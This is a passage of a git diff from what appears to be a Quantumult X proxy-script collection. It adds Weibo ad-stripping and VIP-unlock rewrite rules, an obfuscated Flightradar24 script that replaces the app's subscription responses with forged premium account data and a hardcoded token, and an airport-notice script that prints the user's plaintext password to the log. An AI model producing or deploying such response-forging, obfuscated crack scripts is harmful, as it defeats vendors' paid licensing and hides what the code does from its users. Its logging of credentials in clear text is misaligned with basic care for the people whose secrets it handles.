+^https?:\/\/(sdk|wb)app\.uve\.weibo\.com(/interface/sdk/sdkad.php|/wbapplua/wbpullad.lua) Weibo url-and-header script-response-body https://raw.githubusercontent.com/zmqcherish/proxy-script/main/weibo_launch.js + +# 自定义tab皮肤 +^https?:\/\/api\.weibo\.c(n|om)\/2\/!\/client\/light_skin Weibo url-and-header script-response-body https://raw.githubusercontent.com/zmqcherish/proxy-script/main/weibo_main.js + +# 非会员设置tab皮肤 - cherish +^https?:\/\/new\.vip\.weibo\.c(n|om)\/littleskin\/preview Weibo url-and-header script-response-body https://raw.githubusercontent.com/zmqcherish/proxy-script/main/weibo_main.js + +# 解锁微博会员APP图标 +^https?:\/\/new\.vip\.weibo\.c(n|om)/aj/appicon/list Weibo url-and-header script-response-body https://github.com/fmz200/wool_scripts/raw/main/Scripts/weibo/weibo_vip.js + +# 奥运奖牌榜横幅广告 +# ^https:\/\/datumogs\.sports\.weibo\.c(n|om)\/wb\/api\/medal\/all\? url response-body "Banner":\[.+\] response-body "Banner":[] diff --git a/QuantumultX/scripts/Flightradar24.js b/QuantumultX/scripts/Flightradar24.js new file mode 100644 index 00000000..a89cbd8f --- /dev/null +++ b/QuantumultX/scripts/Flightradar24.js @@ -0,0 +1,19 @@ +/************************************* + +项目名称:Flightradar24 +软件版本:9.9.0 +下载地址:https://is.gd/7zU5LH +使用声明:⚠️仅供参考,🈲️转载与售卖! + +************************************** + +[rewrite_local] +^https://mobile.flightradar24.com/mobile/(user-session|subscribe) url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/QuantumultX/scripts/Flightradar24.js + +[mitm] +hostname = mobile.flightradar24.com + +*************************************/ + + +var version_='jsjiami.com.v7';var _0x30a670=_0x1fca;function _0x1fca(_0x4e05dc,_0x3f0319){var _0x46b124=_0x46b1();return _0x1fca=function(_0x1fca6f,_0x13c960){_0x1fca6f=_0x1fca6f-0x18f;var _0xff8710=_0x46b124[_0x1fca6f];if(_0x1fca['gsMCfG']===undefined){var _0x451932=function(_0x1abe14){var _0x11356e='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var _0x19a29e='',_0x540aed='';for(var _0x44683b=0x0,_0x4ccbfb,_0x16d5fe,_0x587214=0x0;_0x16d5fe=_0x1abe14['charAt'](_0x587214++);~_0x16d5fe&&(_0x4ccbfb=_0x44683b%0x4?_0x4ccbfb*0x40+_0x16d5fe:_0x16d5fe,_0x44683b++%0x4)?_0x19a29e+=String['fromCharCode'](0xff&_0x4ccbfb>>(-0x2*_0x44683b&0x6)):0x0){_0x16d5fe=_0x11356e['indexOf'](_0x16d5fe);}for(var _0x10086c=0x0,_0x336366=_0x19a29e['length'];_0x10086c<_0x336366;_0x10086c++){_0x540aed+='%'+('00'+_0x19a29e['charCodeAt'](_0x10086c)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x540aed);};var _0x33419f=function(_0x21b2f0,_0xa4cc30){var _0x4f8215=[],_0x550f99=0x0,_0x1beb0c,_0x597807='';_0x21b2f0=_0x451932(_0x21b2f0);var _0x4c5624;for(_0x4c5624=0x0;_0x4c5624<0x100;_0x4c5624++){_0x4f8215[_0x4c5624]=_0x4c5624;}for(_0x4c5624=0x0;_0x4c5624<0x100;_0x4c5624++){_0x550f99=(_0x550f99+_0x4f8215[_0x4c5624]+_0xa4cc30['charCodeAt'](_0x4c5624%_0xa4cc30['length']))%0x100,_0x1beb0c=_0x4f8215[_0x4c5624],_0x4f8215[_0x4c5624]=_0x4f8215[_0x550f99],_0x4f8215[_0x550f99]=_0x1beb0c;}_0x4c5624=0x0,_0x550f99=0x0;for(var _0x1fea96=0x0;_0x1fea96<_0x21b2f0['length'];_0x1fea96++){_0x4c5624=(_0x4c5624+0x1)%0x100,_0x550f99=(_0x550f99+_0x4f8215[_0x4c5624])%0x100,_0x1beb0c=_0x4f8215[_0x4c5624],_0x4f8215[_0x4c5624]=_0x4f8215[_0x550f99],_0x4f8215[_0x550f99]=_0x1beb0c,_0x597807+=String['fromCharCode'](_0x21b2f0['charCodeAt'](_0x1fea96)^_0x4f8215[(_0x4f8215[_0x4c5624]+_0x4f8215[_0x550f99])%0x100]);}return _0x597807;};_0x1fca['DQSsQM']=_0x33419f,_0x4e05dc=arguments,_0x1fca['gsMCfG']=!![];}var _0x241429=_0x46b124[0x0],_0x184ef0=_0x1fca6f+_0x241429,_0x343f71=_0x4e05dc[_0x184ef0];return!_0x343f71?(_0x1fca['oBeLPK']===undefined&&(_0x1fca['oBeLPK']=!![]),_0xff8710=_0x1fca['DQSsQM'](_0xff8710,_0x13c960),_0x4e05dc[_0x184ef0]=_0xff8710):_0xff8710=_0x343f71,_0xff8710;},_0x1fca(_0x4e05dc,_0x3f0319);}function _0x46b1(){var _0x4b4fba=(function(){return[version_,'qLjLsQYjQdiBpaHDmiGq.CxcUoTCmSg.v7qXdpST==','o1TXW7L4WPT5BCk9','WQ03W6pcOg0IpSo8bW','luSRzatcOx0','pSkLFcTxW6Do','W5NdHgVdI8o7u8kk','WRnPfSkRpG','W7RcH8kMWPHrrSoC','mai6tCk7WP7dVCkAo2BcUq','zIRcTSkLWQJdJwq','W5yIbCkhW5adrSoeW7pdSG','zthcU8kR','kmk/BYbvW6vdFWi','WPKpWPXYWOOvW5/cPeBdOSkUjmoJub/dLdzXWOldMCo2W4L0d1BcOSo9W6NcMfacAmkFmJ/cLCkxm8kkW5mQWQJdKG','WOjoxmoGW4tdJutcMmo/zXOKWOe','W7mSlwpdG8kcF8orW5S','jc5nWQ0k','EuVcS1ddVCo6WRK','yL5IgCoIWPZdMW','W6ZcJM8Z','g1aODqVcTNbLEsLso8opW4JdRGHWWP7dGIX/wSkOmCoxEYihWOKRWOaywZxcIexdKxVdNc3dGmkP','A8k8W4lcPdLZu8k6qK0'].concat((function(){return['W5P5W7OYiCkHW5LOaCoZBuxdU8oJofrrpHZdTganWQNdICoSWOrQcmk5W5BdGJ7cO8oBEbddLSk7x3mXzG','gdZcQNaLW5uFiCkHW7xcJa8','jKBdSLPMWPpcTmkPWQpdLSov','u2XEW73cOSo4WO4','WPBcHGy','W4ZcRfpdGN3dRb0','uCkaf8oSWOtcVhBcLa','W4/dN2NdISoYrCkD','WPKRW4yYWQ95W40','W47cJ2i1BmojWO8','tg7dRcfGWOi','r13cSH3dKJNdJW','vmk3WRZcIh7dKdKrcIlcQa','tHjxySoaW5KO','j8kAW4zetSk9bG','eWL+yCo7W4qv','dCkClmoSWRhcQeO','BdbAESo0uWK','W5xdNWa','kc9H','W7qVldVdOSkusmoKW5ZcVW','adqpWQVcLmojWQxcJSocmW','vwFdRezkWQa'].concat((function(){return['gSoCWQzSWRRdLau','aM/dP1CyW75QEHJcNbHdW6BcRtCdjSk9W6tdLCoWp2RdTmk/aIP9WPNcKwdcImoDW5JdUmkVc0v3u8ksW4WdWPZdKw3dMH7dHvLOWOi1WP0UW5HShmkUomo2W5r7WO8','btCkWQ/dTSkRW5JcJCoChmk+CdW','bmkDW41btmk7cIrAtttdN8kUW5ddOSkvW60dWRKEtCk9h2VdIg1qWQpcICkLkSoI','amoAumk9W5ldPYFcQmkJWRulFSoS','jc5ZWOGKWRya','W7mVjdNcUSoycmoFW5hcT8kXxdy','umkhbCoVWORcTxC','WQzMbCk6nYtcKa','WPDNv8obWOmCF8oOW5ddHmoM','W4a5bSkwW58usW','WONcG0CcW47cUY1th8oIvCoTtG','iY92WPm','WOSVWOviW586W6e','ogOclSoWtbTcxZ8','pZSOW5BcV2j7','AaiOW7vDWPjC','v8kZWRtdIYZdMcC+oa','WQb1Dg/dPSklwG','tCkcW7u9W7VcGvLCyeNdTq3dLmkKkmk6DdDi','W7L6WPhdPMOFmCo0pmo0W7ZdMSoBWObEn0XSW5/dNYhcVNikW4uHWQ1zW5xdTSkojSkLWQOpsg94WQuIWP7dJaZdOmoXbq7cRNf5lhpdM1rnzwijkmkTAsTCCtioW6iwtSoSumoFtJVdPdBdVqafW4WnWRCGWPlcK8k9vSoTWOWku1WAW5FdOIxcOqVdKmkijSojW5KXtKrYxL7cTSksW58nyWT4W5fDAwlcMSoRWPldKLpdPITXnKtcGtTQW4NcR8o+mSkSWRyYsmkeueebm8ogWPvsWRX7W7JdUmoQuN7cO8o6CN0aWPBcJfDumcH1cCkZbSklWOzfE8osALK9WO7dSHzlWPuqW4ddQhNdLsjuW73dOvRdLCk9WO1+vSknW5/cOSk9W5RcSSomWQhdK3G9FmoglCogjmojWQ3cMSksxSoQf8kMjN53hmoLg2lcP8kjpCohW4iZFCkMW47cTSkfz3n6W6lcPKO/WQBdRSkWnSoKbaL3W58pjSoWlmo1W4tcKqa7W4hdU8kQwSkSW5eCyd3dTSk8W7ZdVSoeWQhcNmkgsexdU0/dVSkvW6pdHqxdSJddSvifqXWSFvKAW6aUdxq5o0FcLH/cQh7dOJNcG8kpuSkeWOawnLVcGIhcQSkrlmkZm8o4WOHoWOmpomoLWRvEWQujW4WfqI4fW7XJrrS','WP3dLtjJmmkAW51PWQNcLmoRAZS'];}()));}()));}());_0x46b1=function(){return _0x4b4fba;};return _0x46b1();};(function(_0x4d36c1,_0x397c68,_0x218d29,_0x4e2a6b,_0xa235f2,_0x150d2d,_0xa34627){return _0x4d36c1=_0x4d36c1>>0x9,_0x150d2d='hs',_0xa34627='hs',function(_0x2d3420,_0x9409c9,_0x3463c8,_0x18f0d8,_0x2946e2){var _0x4be2ba=_0x1fca;_0x18f0d8='tfi',_0x150d2d=_0x18f0d8+_0x150d2d,_0x2946e2='up',_0xa34627+=_0x2946e2,_0x150d2d=_0x3463c8(_0x150d2d),_0xa34627=_0x3463c8(_0xa34627),_0x3463c8=0x0;var _0x338166=_0x2d3420();while(!![]&&--_0x4e2a6b+_0x9409c9){try{_0x18f0d8=-parseInt(_0x4be2ba(0x19a,'EY8n'))/0x1+-parseInt(_0x4be2ba(0x198,'jW&2'))/0x2*(parseInt(_0x4be2ba(0x1c6,'O8oP'))/0x3)+-parseInt(_0x4be2ba(0x1c1,'6Z0x'))/0x4*(parseInt(_0x4be2ba(0x19b,'Uq%N'))/0x5)+parseInt(_0x4be2ba(0x1b4,'$$24'))/0x6+parseInt(_0x4be2ba(0x191,']F91'))/0x7*(parseInt(_0x4be2ba(0x1a9,'$$24'))/0x8)+parseInt(_0x4be2ba(0x1c5,'4]vZ'))/0x9+parseInt(_0x4be2ba(0x1b9,'a(6d'))/0xa*(parseInt(_0x4be2ba(0x1be,'L3qd'))/0xb);}catch(_0x1cdce0){_0x18f0d8=_0x3463c8;}finally{_0x2946e2=_0x338166[_0x150d2d]();if(_0x4d36c1<=_0x4e2a6b)_0x3463c8?_0xa235f2?_0x18f0d8=_0x2946e2:_0xa235f2=_0x2946e2:_0x3463c8=_0x2946e2;else{if(_0x3463c8==_0xa235f2['replace'](/[dBqHxpTSGCULgDYQX=]/g,'')){if(_0x18f0d8===_0x9409c9){_0x338166['un'+_0x150d2d](_0x2946e2);break;}_0x338166[_0xa34627](_0x2946e2);}}}}}(_0x218d29,_0x397c68,function(_0x1aa3fc,_0xca6936,_0x58abf3,_0x2528a5,_0x140f4a,_0x51d18f,_0x5196be){return _0xca6936='\x73\x70\x6c\x69\x74',_0x1aa3fc=arguments[0x0],_0x1aa3fc=_0x1aa3fc[_0xca6936](''),_0x58abf3='\x72\x65\x76\x65\x72\x73\x65',_0x1aa3fc=_0x1aa3fc[_0x58abf3]('\x76'),_0x2528a5='\x6a\x6f\x69\x6e',(0x13911a,_0x1aa3fc[_0x2528a5](''));});}(0x19a00,0x8e7fa,_0x46b1,0xcf),_0x46b1)&&(version_=_0x46b1);var body=$response[_0x30a670(0x1bc,'UNsF')],obj=JSON[_0x30a670(0x1cb,'^7Jv')](body);obj={'status':_0x30a670(0x1a0,'9]wp'),'userData':{'oAuthId':null,'idUser':0xbc614e,'dateExpires':0xf485e67f,'subscriptionKey':_0x30a670(0x190,'hQHG'),'countryCode':null,'dateLastLogin':_0x30a670(0x1c3,'R^wm'),'oAuthType':null,'isActive':!![],'hasConsented':!![],'localeCode':_0x30a670(0x193,'UNsF'),'name':'By\x20Anni','typeSource':_0x30a670(0x1ac,'UNsF'),'subscriptions':{'0':{'dateExpires':0xf485e67f,'sortOrder':0x2,'isOnTrial':!![],'sku':_0x30a670(0x1b3,'@]7I'),'originalBillingPeriod':0x16d,'typePlatform':_0x30a670(0x1ab,'S!AI'),'typeStatus':_0x30a670(0x1a3,'EY8n'),'name':_0x30a670(0x196,'4]vZ'),'typeSubscription':_0x30a670(0x1af,'iS[1')}},'tokenLogin':'UuKjQf4SMpVuXaYkUKe1DzxlKCtLv6GOfqAM-EmPGHSwjgLfbQWQKl8eRQlriWnZl5fHAslnOQ7APxqAfLDPMcRuImHsB-27XWGn3dSgOcLyWMgkPCY3BxjHXg1tvNwWMzbqEwsj-aWWO3FRDMj_Zif0ZHMrbhRPsPd2SfGO0n7QZuD1R2YgOOr-IjH8RxF46kFYDkGvJ2pDjNBTia2rSCF_Xbpq-NvLVDTbV41KTu7WnwN8XfAwFfahbk7N-RL0H3BN_0aSOgTtHX7DRSquUnErgJDH2eB3JwefQSwSWF36ASrWgpnxJUWTLWDwjihigWL0CACyiglDtwG9YKYJ_0WBvP3J0O7kQrEplNKS_7Njwkg1fT_Ro1ys-GNs1za5uGpP7nMF833iHGqShq1LPc1OxxJsv8d_sjDiz3ab-RY','accessToken':_0x30a670(0x1c4,'1S)N'),'publicKey':null,'identity':'By\x20Anni','isLoggedin':!![],'accountType':_0x30a670(0x1cf,'a(6d'),'isAnonymousAccount':!![],'hasPassword':![],'features':{'map.filters.unblocking':_0x30a670(0x1cc,'aKmQ'),'app.ios':'enabled','map.filters.max':0x19,'user.fleets.max.aircraft':0x3e8,'map.info.flight.ground-speed':_0x30a670(0x19e,'e1(I'),'map.info.flight.track':'enabled','map.layer.waypoints':_0x30a670(0x19c,'v%Fy'),'map.info.aircraft.type':'enabled','history.playback.flight.days':0x16d,'history.playback.global.days':0x16d,'map.data.delaystats':_0x30a670(0x194,'D)E5'),'user.fleets.max':0x3,'map.data.flarm':_0x30a670(0x1cc,'aKmQ'),'map.filters.fleets':_0x30a670(0x1ce,'Vv3a'),'map.layer.trail.tooltip':'enabled','support.platform':_0x30a670(0x1d0,'Vv3a'),'map.view.3d.basic':0x3,'map.info.aircraft.msn':_0x30a670(0x1a4,'H]X5'),'map.data.satellite':_0x30a670(0x195,'[w3S'),'support.level':_0x30a670(0x19d,'Gj4s'),'map.view.radar':_0x30a670(0x1aa,'L3qd'),'history.flight.days':0x16d,'map.view.multi':_0x30a670(0x1c2,'NF60'),'map.info.aircraft.code':_0x30a670(0x1b8,'^7Jv'),'map.widgets.last_clicked_flights':_0x30a670(0x1c9,'^NHi'),'map.info.flight.calibrated-altitude':_0x30a670(0x1a1,'K@j^'),'user.alerts.max':0x19,'map.info.airport.arrivals':_0x30a670(0x1c8,'8MAh'),'map.view.delay':_0x30a670(0x1a8,'lDi6'),'map.widgets.bookmarks.max':0x19,'user.sessions.max':0x3,'map.info.airport.departures':'enabled','map.info.aircraft':'full','map.data.ads-b':'enabled','history.playback.days':0x16d,'map.data.mlat':_0x30a670(0x1bf,'$Asa'),'map.filters.receivers':_0x30a670(0x1ba,'a(6d'),'map.view.3d':_0x30a670(0x1b7,'$$24'),'map.info.flight.position':_0x30a670(0x1ce,'Vv3a'),'adverts':_0x30a670(0x19f,'$$24'),'map.view.fullscreen':'enabled','user.users':0x3,'map.layer.weather.volcano':_0x30a670(0x1b0,'R^wm'),'app.android':'enabled','map.data.faa':_0x30a670(0x1bd,'hQHG'),'usage.rights':_0x30a670(0x1a7,'@]7I'),'map.hide_header':'enabled','map.search':_0x30a670(0x1a1,'K@j^'),'map.timeout.mins':-0x1,'map.info.flight.squawk':_0x30a670(0x1a2,'4]vZ'),'map.layer.weather':_0x30a670(0x1b5,'UNsF'),'map.info.flight':'enhanced','history.aircraft.days':0x16d,'map.filters.categories':_0x30a670(0x1ca,'9]wp'),'map.sidemenu.photo.hide':'enabled','map.info.aircraft.registration':'enabled','map.tracking.live':'enabled','history.flight.kml':0x19,'map.info.flight.vertical-speed':'enabled','map.widgets.bookmarks':'enabled','map.labels.rows':0x4,'map.status.flight':_0x30a670(0x1c0,'O8oP'),'map.info.aircraft.age':'enabled','map.info.airport.onground.hours':0x2d0,'map.view.fleet.onground':0x1,'user.bookmarks.max':0x19},'oAuth':null},'message':_0x30a670(0x197,'8MAh'),'msg':_0x30a670(0x199,'kq[X'),'response_code':0x64,'success':!![],'token':_0x30a670(0x1b1,'iS[1')},body=JSON[_0x30a670(0x18f,'^NHi')](obj),$done({'body':body});var version_ = 'jsjiami.com.v7'; \ No newline at end of file diff --git a/QuantumultX/scripts/airport_fetch_notice.js b/QuantumultX/scripts/airport_fetch_notice.js new file mode 100644 index 00000000..39bf7904 --- /dev/null +++ b/QuantumultX/scripts/airport_fetch_notice.js @@ -0,0 +1,86 @@ +/** + * 获取机场公告 + * airport_fetch_notice.js + * 0 11 * * * + */ + +const $ = new Env("获取机场公告"); + +const url_airport = $.getdata('url_airport'); // 你的机场地址,例如 www.brd.life +const email_airport = $.getdata('email_airport'); // email=你的邮箱,如果失败把@符号写成%40 +const password_airport = $.getdata('password_airport'); // password=你的密码 +console.log(`你的机场地址:${url_airport}\n你的邮箱:${email_airport}\n你的密码:${password_airport}\n`); +sign(); + +function sign() { + const url = `https://${url_airport}/api/v1/passport/auth/login`; + const method = `POST`; + const headers = { + 'Connection': `keep-alive`, + 'Accept-Encoding': `gzip, deflate, br`, + 'Content-Language': `zh-CN`, + 'Content-Type': `application/x-www-form-urlencoded`, + 'Origin': `https://${url_airport}`, + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 16_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/105.0.5195.147 Mobile/15E148 Safari/604.1`, + 'Cookie': ``, + 'Host': `${url_airport}`, + 'Referer': `https://${url_airport}/`, + 'Accept-Language': `zh-CN,zh-Hans;q=0.9`, + 'Accept': `*/*` + }; + const body = `email=${email_airport}&password=${password_airport}`; + const myRequest = { + url: url, method: method, headers: headers, body: body + }; + + $.http.post(myRequest).then(response => { + console.log("登录响应码:" + response.statusCode + "\n\n" + response.body + "\n\n"); + let authData = JSON.parse(response.body).data.auth_data; + console.log("获取到的token:" + authData + "\n\n"); + if (authData) { + fetchNotices(authData); + } else { + $.done(); + } + }, reason => { + console.log(reason.error); + $.done(); + }); +} + +// 拉取通知 +function fetchNotices(authData) { + const url = `https://${url_airport}/api/v1/user/notice/fetch`; + const method = `GET`; + const headers = { + 'Authorization': authData, + 'Accept': `*/*`, + 'Connection': `keep-alive`, + 'Referer': `https://${url_airport}/`, + 'Content-Language': `zh-CN`, + 'Host': `${url_airport}`, + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 16_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/105.0.5195.147 Mobile/15E148 Safari/604.1`, + 'Accept-Encoding': `gzip, deflate, br`, + 'Accept-Language': `zh-CN,zh-Hans;q=0.9` + }; + const body = ``; + + const myRequest = { + url: url, method: method, headers: headers, body: body + }; + + $.http.post(myRequest).then(response => { + console.log("拉取公告响应码:" + response.statusCode + "\n\n"); + const data = JSON.parse(response.body)['data']; + const title = "通知标题👉" + data[0]['title']; + const notify = "通知内容👉" + data[0]['content']; + $.msg("获取机场公告成功", title, notify); + $.done(); + }, reason => { + console.log(reason.error); + $.done(); + }); + +} + +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;"POST"===e&&(s=this.post);const i=new Promise(((e,i)=>{s.call(this,t,((t,s,o)=>{t?i(t):e(s)}))}));return t.timeout?((t,e=1e3)=>Promise.race([t,new Promise(((t,s)=>{setTimeout((()=>{s(new Error("请求超时"))}),e)}))]))(i,t.timeout):i}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.logLevels={debug:0,info:1,warn:2,error:3},this.logLevelPrefixs={debug:"[DEBUG] ",info:"[INFO] ",warn:"[WARN] ",error:"[ERROR] "},this.logLevel="info",this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.encoding="utf-8",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}getEnv(){return"undefined"!=typeof $environment&&$environment["surge-version"]?"Surge":"undefined"!=typeof $environment&&$environment["stash-version"]?"Stash":"undefined"!=typeof module&&module.exports?"Node.js":"undefined"!=typeof $task?"Quantumult X":"undefined"!=typeof $loon?"Loon":"undefined"!=typeof $rocket?"Shadowrocket":void 0}isNode(){return"Node.js"===this.getEnv()}isQuanX(){return"Quantumult X"===this.getEnv()}isSurge(){return"Surge"===this.getEnv()}isLoon(){return"Loon"===this.getEnv()}isShadowrocket(){return"Shadowrocket"===this.getEnv()}isStash(){return"Stash"===this.getEnv()}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null,...s){try{return JSON.stringify(t,...s)}catch{return e}}getjson(t,e){let s=e;if(this.getdata(t))try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise((e=>{this.get({url:t},((t,s,i)=>e(i)))}))}runScript(t,e){return new Promise((s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let o=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");o=o?1*o:20,o=e&&e.timeout?e.timeout:o;const[r,a]=i.split("@"),n={url:`http://${a}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:o},headers:{"X-Key":r,Accept:"*/*"},policy:"DIRECT",timeout:o};this.post(n,((t,e,i)=>s(i)))})).catch((t=>this.logErr(t)))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),o=JSON.stringify(this.data);s?this.fs.writeFileSync(t,o):i?this.fs.writeFileSync(e,o):this.fs.writeFileSync(t,o)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let o=t;for(const t of i)if(o=Object(o)[t],void 0===o)return s;return o}lodash_set(t,e,s){return Object(t)!==t||(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce(((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{}),t)[e[e.length-1]]=s),t}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),o=s?this.getval(s):"";if(o)try{const t=JSON.parse(o);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,o]=/^@(.*?)\.(.*?)$/.exec(e),r=this.getval(i),a=i?"null"===r?null:r||"{}":"{}";try{const e=JSON.parse(a);this.lodash_set(e,o,t),s=this.setval(JSON.stringify(e),i)}catch(e){const r={};this.lodash_set(r,o,t),s=this.setval(JSON.stringify(r),i)}}else s=this.setval(t,e);return s}getval(t){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.read(t);case"Quantumult X":return $prefs.valueForKey(t);case"Node.js":return this.data=this.loaddata(),this.data[t];default:return this.data&&this.data[t]||null}}setval(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.write(t,e);case"Quantumult X":return $prefs.setValueForKey(t,e);case"Node.js":return this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0;default:return this.data&&this.data[e]||null}}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.cookie&&void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar)))}get(t,e=(()=>{})){switch(t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"],delete t.headers["content-type"],delete t.headers["content-length"]),t.params&&(t.url+="?"+this.queryStr(t.params)),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let s=require("iconv-lite");this.initGotEnv(t),this.got(t).on("redirect",((t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}})).then((t=>{const{statusCode:i,statusCode:o,headers:r,rawBody:a}=t,n=s.decode(a,this.encoding);e(null,{status:i,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:i,response:o}=t;e(i,o,o&&s.decode(o.rawBody,this.encoding))}));break}}post(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"post";switch(t.body&&t.headers&&!t.headers["Content-Type"]&&!t.headers["content-type"]&&(t.headers["content-type"]="application/x-www-form-urlencoded"),t.headers&&(delete t.headers["Content-Length"],delete t.headers["content-length"]),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let i=require("iconv-lite");this.initGotEnv(t);const{url:o,...r}=t;this.got[s](o,r).then((t=>{const{statusCode:s,statusCode:o,headers:r,rawBody:a}=t,n=i.decode(a,this.encoding);e(null,{status:s,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:s,response:o}=t;e(s,o,o&&i.decode(o.rawBody,this.encoding))}));break}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}queryStr(t){let e="";for(const s in t){let i=t[s];null!=i&&""!==i&&("object"==typeof i&&(i=JSON.stringify(i)),e+=`${s}=${i}&`)}return e=e.substring(0,e.length-1),e}msg(e=t,s="",i="",o={}){const r=t=>{const{$open:e,$copy:s,$media:i,$mediaMime:o}=t;switch(typeof t){case void 0:return t;case"string":switch(this.getEnv()){case"Surge":case"Stash":default:return{url:t};case"Loon":case"Shadowrocket":return t;case"Quantumult X":return{"open-url":t};case"Node.js":return}case"object":switch(this.getEnv()){case"Surge":case"Stash":case"Shadowrocket":default:{const r={};let a=t.openUrl||t.url||t["open-url"]||e;a&&Object.assign(r,{action:"open-url",url:a});let n=t["update-pasteboard"]||t.updatePasteboard||s;if(n&&Object.assign(r,{action:"clipboard",text:n}),i){let t,e,s;if(i.startsWith("http"))t=i;else if(i.startsWith("data:")){const[t]=i.split(";"),[,o]=i.split(",");e=o,s=t.replace("data:","")}else{e=i,s=(t=>{const e={JVBERi0:"application/pdf",R0lGODdh:"image/gif",R0lGODlh:"image/gif",iVBORw0KGgo:"image/png","/9j/":"image/jpg"};for(var s in e)if(0===t.indexOf(s))return e[s];return 